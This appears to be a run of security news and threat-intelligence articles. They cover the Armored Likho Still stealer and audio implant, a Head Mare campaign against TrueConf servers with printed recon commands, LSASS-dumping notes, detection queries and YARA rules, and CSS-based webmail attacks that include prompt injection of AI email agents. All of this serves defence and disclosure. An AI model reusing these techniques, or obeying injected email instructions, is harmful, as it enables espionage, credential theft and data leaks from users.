Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.
The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.
In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.
After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.
Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.
Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.
Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.
When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:
https://tg4service[.]com:443.tdatatdata folder, if Telegram data encryption is enabled on the victim’s device.Sync also supports several command-line arguments:
--console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.--version: prints version information and exits.--firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.--db: turns on debug mode with detailed logging.Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:
The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.
Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.
Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:
tdata We’ll cover this feature in more detail below.These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.
Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:
Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:
This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:
CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameterBeyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:
Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.
On launch, Still Audio performs a sequence of actions:
libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.--console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.logfile.log, to write logs to.Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.
Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json
The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.
Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:
/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.
The server responds with settings for the implant:
Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.
The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.
Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:
Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.
This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:
| Domain | IP address | Registration date | ASN |
| orderapiserver[.]info | 187.127.153[.]38 | April 18, 2026 | 47583 |
| tg4service[.]com | 159.198.37[.]74 | October 4, 2025 | 22612 |
| srwinservice[.]com | 213.252.244[.]123 | March 19, 2026 | 61272 |
| screenserv[.]com | 23.26.237[.]250 | February 13, 2026 | 149440 |
| windowserv[.]net | 23.27.24[.]30 | February 10, 2026 | 149440 |
| managementapiservice[.]com | 188.212.124[.]178 | May 1, 2026 | 202448 |
| service8date[.]com | 145.223.69[.]143 | January 13, 2026 | 215311 |
| updateservs[.]com | 145.223.68[.]66 | December 23, 2025 | 215311 |
In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.
This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:
ICRYPTMP header, and the same multi-part encryption format.sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.
One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.
The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.
Additional information about this threat, indicators of compromise included, is available to customers of Kaspersky Threat Intelligence Reporting. Contact intelreports@kaspersky.com for more details.
File hashes
Droppers
C1D1EE16B92E6A138FFA048855F75D7D
17674B250D8B422A50A86C9FF207186D
62801F6223E860A7CCA271522E303B2D
Still Sync
68F0365D2FA8C828D012D8859E52A773
4BD7C352AE277B0E38D07BEEDD4DD507
D4BC09FB10EA2A5DC0BCBEEDA5E5AFDD
Still Audio
2CA8ADBAB98EBE305EACF272CF48F5A0
3AC41B097236A7723821848AE31EF141
439255736797BC88BD19F282449E0436
Domains
orderapiserver[.]info
tg4service[.]com
srwinservice[.]com
screenserv[.]com
windowserv[.]net
managementapiservice[.]com
service8date[.]com
updateservs[.]com




Cloudflare says 805 DDoS attacks topped 1 Tbps in Q2 2026 as high-bandwidth attacks surged, raising new concerns for network defenses.
The post Cloudflare Report Shows Massive Spike in High-Volume DDoS Attacks: Here Is What the Data Shows appeared first on TechRepublic.
U.S. and South Korean authorities warn about the growing Gunra ransomware threat as the operation expands its capabilities and affiliate network.
The post US, South Korea Warn of Growing Gunra Ransomware Threat appeared first on TechRepublic.

Organizations have spent years and billions of dollars hardening their defenses against cyberattacks, but prevention alone no longer settles the question that matters most to a board. Accenture’s State of Cybersecurity Resilience 2025 report stated that organizations had faced an average of 1,876 cyberattacks in a single quarter, a 75% increase over the prior year. What’s more, 63% of the surveyed executives cited a rapidly evolving threat landscape as their biggest challenge. In such a dangerous environment, organizations must assume that eventually an attack will succeed, so IT has to be able to prove that it can recover cleanly once an attacker gets in.
Attackers already understand this shift. Mandiant, a Google subsidiary, reported in its M-Trends 2026 Report that “adversaries are systematically targeting infrastructure such as backups, identity services, and virtualization layers to deny recovery, putting immense pressure on organizations to pay ransom demands or risk losing the ability to recover.” Backup systems have become a primary target.
Demonstrating recoverability has been difficult for IT, because backup, recovery, cybersecurity, and disaster recovery all evolved as separate disciplines, with each solving its own piece of the problem essentially independently. That fragmentation leaves organizations unable to answer basic questions about their own ability to bounce back.
A new discipline, resilience operations (ResOps) has emerged to close the gap between performing backups and proving that an organization can actually use them to recover. ResOps functions as an operating discipline that focuses business, security, and infrastructure teams on recovering critical functions quickly while avoiding reinfection. This discipline also provides the teams with a common framework so they can pivot away from assumptions and anecdotes to instead quantify resilience in a repeatable, sustainable way. Spot-testing of discrete systems is not enough. Organizations need to perform regular tests of the entire system if it is to pivot away from assumptions and anecdotes to quantify resilience in a repeatable, sustainable way.
Additionally, to measure the effectiveness of recovery, the industry needs an updated resilience metric, mean time to clean recovery (MTCR). Metrics such as recovery time objective (RTO) and recovery point objective (RPO) still matter, but neither confirms that restored data is free of compromise. MTCR closes that gap, by measuring how long it takes to validate that a recovered system is both online and clean, giving CIOs, CISOs, and boards a single evidence-based answer during an attack.
Building that kind of resilience starts with architecture. Depending on a single vendor or platform across multiple heterogeneous environments introduces a single point of failure. Diversity is a strength, especially when it comes to the identity infrastructure. Recovery systems that share the same identity layer with production will fail if the identity systems are compromised, so more and more organizations now stand up an independent identity infrastructure solely for recovery. Immutable air-gapped storage rounds out the picture, but it remains rare among organizations, even for their most critical workloads. Finally, during recovery execution, backups should be paired with clean room validation of workloads before anything returns to production.
“For years the industry measured resilience by how fast we could restore data,” says Bill O’Connell, chief security officer at Commvault. “Now the measure that matters is whether we can prove, with evidence, that what we restored is actually clean.”
Vendors such as Commvault are building the infrastructure to support this shift, giving organizations the tools for testing recovery as a complete system rather than a collection of individual failure scenarios and to walk into the boardroom with proof instead of assumptions. But whatever the underlying backup-and-recovery infrastructure in this increasingly dangerous threat environment, organizations need to make attaining clean recovery their goal.
Build real resilience
Learn how organizations are proving recoverability and achieving clean recovery when it matters most.


![]()
In July 2026, Kaspersky experts detected a new attack by the Head Mare group. Previously, we classified them as hacktivists, but now we define them as an APT group due to the sophistication of their TTPs and the absence of destructive activity (encryption, wiping) in the targeted infrastructures. In this latest campaign, the attackers exploited a chain of vulnerabilities in the TrueConf video conferencing server and replaced the original TrueConf client installers with infected versions that installed the PhantomCore malware on the system.
An investigation of the compromised server revealed that the attackers used a combination of two new vulnerabilities (assigned the internal identifiers KLCERT-26-057 and KLCERT-26-058), allowing them to execute arbitrary code with the highest privileges.
The attack occurs in several stages:
…\public\js\locale.php with a web shell, which can be used for subsequent remote control of the compromised server.This web shell was used for the following activities:
The vulnerabilities exploited by the attackers were patched by the vendor in the latest TrueConf Server updates (versions 5.3.9, 5.4.9, and 5.5.5). These updates were released on June 18, 2026.
The PhantomCore backdoor was successfully detected by Kaspersky solutions.
To automatically launch the malware after the system boots, a registry key is created: HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32, with the value set to the path to the malicious program’s file.
Using a web shell, in addition to PhantomCore, the attackers load a backdoor that we have named PhantomGraph, consisting of two modules:
SysExcSvc.dll is responsible for receiving commands from the attackers and transmitting the results of their execution. The attackers used an account on Microsoft OneDrive cloud storage as their command-and-control (C2) server.SysReadSvc.dll reads the command transmitted by the first module, executes it, and saves the execution result.To establish persistence on the system, the attackers execute a Base64-encoded PowerShell command that installs SysExcSvc.dll and SysReadSvc.dll as Windows services. We believe the attackers deliberately split this malicious command into two components to make it harder to detect using EDR tools. Additionally, the program’s code partially matches that of PhantomCore, indicating that it belongs to Head Mare’s arsenal.
We also managed to identify the commands executed by the attackers when connecting to the backdoor. The SysReadSvc module executes commands using a BATCH file. Example of execution:
$system32\cmd.exe /c cmd /c ""$temp\cmd_cmd_4488.bat"" 2>&1
Commands detected:
lsass.exe process:hostname whoami "$system32\WindowsPowerShell\v1.0\powershell.exe" -noexit -command Set-Location -literalPath '$system32\inetsrv'
In addition, we discovered several commands that did not work due to the attackers’ typos and encoding issues.
We are observing several active Head Mare campaigns targeting Russian organizations across various industries: instrument manufacturing, electronics, transportation, energy,
IT, and software development. The attackers distribute their backdoors using various methods, including phishing, exploiting public web servers, or through a subcontractor.
We recommend that all organizations using TrueConf software install the latest server version (versions 5.3.9, 5.4.9, and 5.5.5) in accordance with the vendor’s recommendations.
We also recommend verifying that the client distributions downloaded from the TrueConf server used by your organization have a valid TrueConf digital signature and have not been tampered with. The malicious distributions we detected did not have a valid digital signature. You can also verify authenticity on the vendor’s website.
Important: Even if your organization does not use a TrueConf server, your employees may connect to compromised TrueConf servers belonging to business partners to participate in online meetings and download infected installation packages.
The attack mechanism and the vulnerabilities exploited are described in more detail on the Kaspersky ICS CERT website.
Kaspersky security solutions successfully detect malicious activity associated with the attacks described above.
The malware used in this attack is detected by our solutions with the following detection names:
Let’s take a closer look using Kaspersky Endpoint Detection and Response Expert (KEDR Expert) as an example.
Specifically, activity involving the replacement of the legitimate file …\public\js\locale.php with a web shell, as well as the deletion of entries from TrueConf event logs, is detected by the rule unusual_php_file_creation_from_trueconf_process.
![]()
Downloading a file containing the PhantomCore backdoor via the replaced legitimate file …\public\js\locale.php is detected by KEDR Expert with the rule unusual_file_creation_from_trueconf.
![]()
Activity related to the installation of an infected TrueConf client installer containing the PhantomCore backdoor is detected by KEDR Expert using the unsigned_trueconf_installer rule.
The Kaspersky Managed Detection and Response service detects the described attack by monitoring the following actions:
lsass.exe process.lsass.exe process using the comsvcs.dll library.lsass.exe process.To protect companies using our Kaspersky SIEM system, a general set of rules is available in the product repository that allows detection of the following techniques:
lsass.exe process using the comsvcs.dll library:lsass.exe process:We also recommend paying attention to the following events when developing your own detection rules or conducting threat hunting:
(DeviceEventClassID = '4657' OR DeviceEventClassID = '13')
AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32'
SysExcSvc and SysReadSvc services to run executables from temporary directories in the background via cmd:DeviceEventClassID = '4697' AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc') AND match (FileName, '.*cmd\s+\/c.*temp\\cmd_cmd_.*\.bat.*')
(DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND SourceProcessName LIKE '%\trueconf_windows_update.exe'
For the detection rules to work correctly, ensure that events from Windows systems are received in full, including Security events 4688, 4663, 4657, and 4697 and Sysmon events 1, 7, 11, and 13.
Web shell
4d27b4eb1c5dbb3d8160f29b8119523e locale.php
Infected installer
748c9f8cb1065000616204935f96207f trueconf_windows_update.exe
PhantomCore DLL
c5a460e4e68a088f6e51b2c6474642ec
129462164a7d52e9ea8560b60f0412c5 doc.txt
ec0bf4a2186a88874e9f26f07cfeb532 usocacheddata.txt
b348642146ea34771e5785c5857950f5
c915cb6c2aeb863ee8479238e1644217 doc.txt
0e79996d9483d1e44fea32b0a48c2c19 doc.txt
2bb75c20e778eb5c416965bd4d4259b1 trueconf_windows_client_x64_[redacted].exe
b3a6fee3307f1c26841fd5c603e2b013 usocacheddata.txt
8fcc3e4ccbf1725d9989fb464abf3561 usocacheddata.txt
PhantomGraph
489f43be558b2679284ceabed7adc4f3 sysexcsvc.dll
dd1fd2b459b97b7d59375cb8383cd19a sysreadsvc.dll
0e4541c3153ec5ed01497f19cf4f63d0 sysexcsvc.dll
12d4e8f5295f2ef7e0f9bfc0f4830939 sysexcsvc.dll
7f267006cac10f341c356b62fe493527 sysexcsvc.dll
ee2861d5965e8730708cd1da8a93fa4c sysexcsvc.dll
Backdoor (ELF)
c3a2abe8756910f42582b04a44ea3514
43f435c3c437bc879a2d7d4634f43494
Rootkit
aee9642b45b099cb7f3053b9b680b425
81.177.32[.]12
194.87.239[.]71 ssh
194.87.93[.]153 ssh
38.244.205[.]244
31.59.102[.]61
penzadogshelter[.]site
trendy-market[.]site
bright-deals[.]site
nova-stream[.]site
rinomobile[.]ink
urbanpixel[.]store
flexish[.]shop
media-hub[.]today
cosmetic-deals[.]store
vks.gossopka[.]forum
SysExcSvc
SysReadSvc
C:\Windows\System32\inetsrv\SysExcSvc.dll
C:\Windows\System32\inetsrv\SysReadSvc.dll
C:\Windows\System32\inetsrv\graphi-refresh.dat
C:\Windows\System32\inetsrv\share\input_*.txt
C:\Windows\System32\inetsrv\share\output_*.txt
%TEMP%\cmd_cmd_*.bat
%LOCALAPPDATA%\TrueConf\Client\api-ms-win-crt-time-l1-1-0-2.dll
/etc/systemd/system/omicluster.service
/etc/systemd/system/schedul2-bin.service
/opt/acronis/bin/schedul2-bin
/omi/bin/omicluster
/usr/lib64/libzvbi-tchain.so.2
/var/tmp/cx2
HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32
Backdoor.PHP.WebShell.abi
Backdoor.Win64.PhantomCore.dt
Trojan.Win64.Agent.smgvnc
Trojan.Win64.Agent.smgvnb
HEUR:Backdoor.Win64.PhantomCore.gen
HEUR:Backdoor.Linux.Agent.fb
HEUR:Backdoor.Linux.PhantomHook.a
HEUR:Backdoor.Linux.PhantomReact.a
Trojan.Win64.PhantomGraph.gen
UDS:Backdoor.Win64.PhantomCore.a
import "pe"
rule apt_HeadMare_PhantomCore
{
meta:
description = "Rule to detect PhantomCore used by HeadMare"
author = "Kaspersky ICS CERT"
copyright = "Kaspersky ICS CERT"
version = "1.0"
last_modified = "2026-08-02"
hash = "c5a460e4e68a088f6e51b2c6474642ec"
strings:
$a1 = "lying.dll" ascii
$a2 = { 2D 7F 95 4C 2D F4 51 58 }
$a3 = { 4F 81 67 F7 7E 7B 05 14 }
condition:
(uint16(0) == 0x5A4D) and (filesize > 4MB) and (filesize 20MB) and (all of them) and (pe.number_of_signatures == 0)
}
rule apt_HeadMare_FakeConf_installer
{
meta:
description = "Rule to detect any unsigned TrueConf installers"
author = "Kaspersky"
copyright = "Kaspersky"
version = "1.0"
last_modified = "2026-08-02"
hash = "748c9f8cb1065000616204935f96207f"
strings:
$a1 = "TrueConf Setup" wide
$a2 = "This installation was built with Inno Setup." wide
condition:
(uint16(0) == 0x5A4D) and (filesize > 20MB) and (all of them) and (pe.number_of_signatures == 0)
}
rule apt_HeadMare_PhantomCore_exchange
{
meta:
description = "Rule to detect PhantomCore exchange module used by HeadMare"
author = "Kaspersky ICS CERT"
copyright = "Kaspersky ICS CERT"
version = "1.0"
last_modified = "2026-08-02"
hash = "489f43be558b2679284ceabed7adc4f3"
strings:
$a1 = "graphi_exchange.dll" ascii
$a2 = "graphi-client/1.0" ascii
$b1 = "https://graph.microsoft.com/v1.0/me/drive/root:/" ascii
$b2 = ":/children?$select=name,id&$top=200" ascii
$b3 = "offline_access Files.ReadWrite" ascii
$b4 = "GRAPHI_INSECURE" ascii
$b5 = "\"@microsoft.graph.conflictBehavior\":\"replace\"}" ascii
$b6 = "https://login.microsoftonline.com/" ascii
condition:
(uint16(0) == 0x5A4D) and (any of ($a*)) and (3 of ($b*))
}
rule apt_HeadMare_PhantomCore_executor
{
meta:
description = "Rule to detect PhantomCore executor module used by HeadMare"
author = "Kaspersky ICS CERT"
copyright = "Kaspersky ICS CERT"
version = "1.0"
last_modified = "2026-08-02"
hash = "dd1fd2b459b97b7d59375cb8383cd19a"
strings:
$a1 = "graphi_reader.dll" ascii
$a2 = "^input_(.+)\\.txt$" ascii
$b1 = "output_" ascii
$b2 = "cmd_cmd_" ascii
$b3 = "cmd /c \"\"" ascii
$b4 = "error: failed to start cmd process" ascii
$b5 = "share" ascii
$b6 = "SysReadSvc" ascii
condition:
(uint16(0) == 0x5A4D) and (filesize < 4MB) and (any of ($a*)) and (4 of ($b*))
}
rule apt_HeadMare_FakeLocale_webshell
{
meta:
description = "Rule to detect the HeadMare TrueConf web shell"
author = "Kaspersky"
copyright = "Kaspersky"
version = "1.0"
last_modified = "2026-08-04"
hash = "4d27b4eb1c5dbb3d8160f29b8119523e"
strings:
$a1 = "X-Redirect-Bit" ascii wide nocase
$a2 = "tc_vcs_web_db_conn" ascii wide
$a3 = "user=postgres" ascii wide
$b1 = "UPL ok::" ascii wide
$b2 = "DWN fail nexs" ascii wide
$b3 = "DWN fail inv" ascii wide
condition:
(2 of ($a*)) or (2 of ($b*))
}
rule apt_HeadMare_TrueConf_Rootkit
{
meta:
description = "Rule to detect the HeadMare rootkit installed on TrueConf servers"
author = "Kaspersky"
copyright = "Kaspersky"
version = "1.0"
last_modified = "2026-08-06"
hash = "aee9642b45b099cb7f3053b9b680b425"
strings:
$a1 = "PQconnectdb"
$a2 = "obfuscated_data"
$a3 = "install_hook"
condition:
(uint32(0) == 0x464c457f) and (filesize < 400000) and (all of them)
}
rule apt_HeadMare_Github_Backdoor
{
meta:
description = "Rule to detect the HeadMare backdoor with Github C2"
author = "Kaspersky"
copyright = "Kaspersky"
version = "1.0"
last_modified = "2026-08-06"
hash = "43f435c3c437bc879a2d7d4634f43494"
hash = "c3a2abe8756910f42582b04a44ea3514"
strings:
$a1 = "cryptor5crypt"
$a2 = "execraw_task"
$a3 = "jitter_task"
$a4 = "upload_task"
$a5 = "exec_task"
$a6 = "react_comment"
condition:
(uint32(0) == 0x464c457f) and (filesize > 5000000) and (filesize < 10000000) and (4 of them)
}





![]()

PortSwigger researcher Gareth Heyes demonstrated something that should make every webmail team a little nervous: plain CSS, the styling language that’s supposed to just make text look nice, can be weaponized to steal passwords, hijack sessions, and manipulate AI tools reading your inbox. The research covers real attack chains against Outlook, Gmail, Fastmail, Proton Mail, Yahoo Mail, and AOL Mail.
The core idea is that email clients let HTML and CSS through with the assumption that styling can’t reach outside the message it’s attached to. Heyes found ways to break that assumption using two basic approaches: abusing CSS features webmail already permits, or exploiting a gap between what a content sanitizer thinks it approved and what the browser actually renders. Either route can let content inside an untrusted email interact with the trusted interface surrounding it.
“It’s quite common for webmail clients to render untrusted CSS in a trusted UI. They attempt to make this safe using CSS sanitization.” Heyes explains. “I looked at the various “allow listed” CSS properties and HTML. With the goal of abusing them to spoof UI actions, control browsers, take over accounts or steal tokens. I targeted Fastmail, OpenAI’s Atlas, Firefox, AOL Mail, Yahoo Mail and Outlook.”
The Outlook chain is the most alarming one to picture in action. Allowed label elements can trigger controls that live outside the email itself, and Outlook’s own JavaScript can turn sanitized custom attributes into new page elements carrying CSS that bypasses the sanitizer’s rules entirely. Heyes used this to disguise a dropdown menu as a password field, and because Firefox resets its roughly one-second selection timer whenever that dropdown moves offscreen, the attack captures whatever the victim types in something close to real time.
“A CSS gadget occurs when some existing JavaScript appends an element to the DOM with a CSS property or value outside the webmail CSS sanitizer allow list. We can use this to break out of trust boundaries.” continues the report.

“This is a real CSS gadget that I found on Outlook. Here Outlook “allow lists” custom data attributes. One of the libraries they use appends to the DOM with an element and CSS property value outside their allow list. In this case position:fixed which allows you to position an element anywhere on the page. Which breaks the trust boundaries of an email message. We can then use this gadget to break out of the message window and deface Outlook.”
Yahoo Mail and AOL Mail opened a different door, one involving something as mundane as copy and paste. In Firefox, HTML pasted into a draft can briefly keep its active styling before sanitization strips it out, and Heyes used that gap to leak a 12-character login token during a Medium sign-in flow, enough for an attacker’s server to reconstruct the token and log in as the victim.
“They have a login via email feature that produces a 12 character hex token. If you can obtain this token then you can login as the user. An attacker can just initiate this process with the victim’s email then create some CSS to copy to the clipboard, the victim then only needs to paste into a draft and then their token is stolen.” the researcher explains.
There’s also a clever workaround for cases where Content Security Policy blocks external resource requests entirely. Given the ability to inject styles and a numeric token displayed as plain text in an email, CSS alone can determine which digits appear and how often, then arrange links so a single click reveals that information to an attacker’s server. No JavaScript required, just careful use of selectors and visibility rules.
The AI-connected piece of this research is where things get genuinely unsettling. Gmail’s image-set() fallback could trigger an external request despite sanitization, and Heyes chained that into an indirect prompt-injection email processed by Anthropic’s Claude Cowork through a connected Gmail integration. The injected instructions caused it to retrieve the token and place it in an HTML draft; viewing the draft leaked it, exactly the kind of AI-agent trap that turns a normal “summarize my inbox” request into unintended data exposure. A separate demonstration against OpenAI’s Atlas browser used hidden CSS pseudo-elements to show a human harmless text while an AI model read a completely different, hidden instruction underneath.
Not every provider is equally exposed right now. Fastmail patched two CSS mutation bugs Heyes reported, and a Proton Mail proxy bypass stopped working when he retested it before publication. Outlook’s label-jacking trick and Gmail’s image-set() bypass, on the other hand, both still worked as of August 6, and the paper doesn’t confirm whether the full Outlook password-capture chain has been fixed at all.
Heyes and PortSwigger published proof-of-concept code publicly alongside the research, and their guidance for webmail providers is fairly specific: isolate HTML email inside sandboxed iframes, restrict CSS to strict character allow-lists, check for dangerous CSS gadgets before permitting custom attributes, and block image requests to anything outside an approved domain list. None of that is exotic advice, but it does mean rethinking how much trust gets extended to something as apparently harmless as a stylesheet.
Follow me on Twitter: @securityaffairs and Facebook and Mastodon
(SecurityAffairs – hacking, CSS Attacks)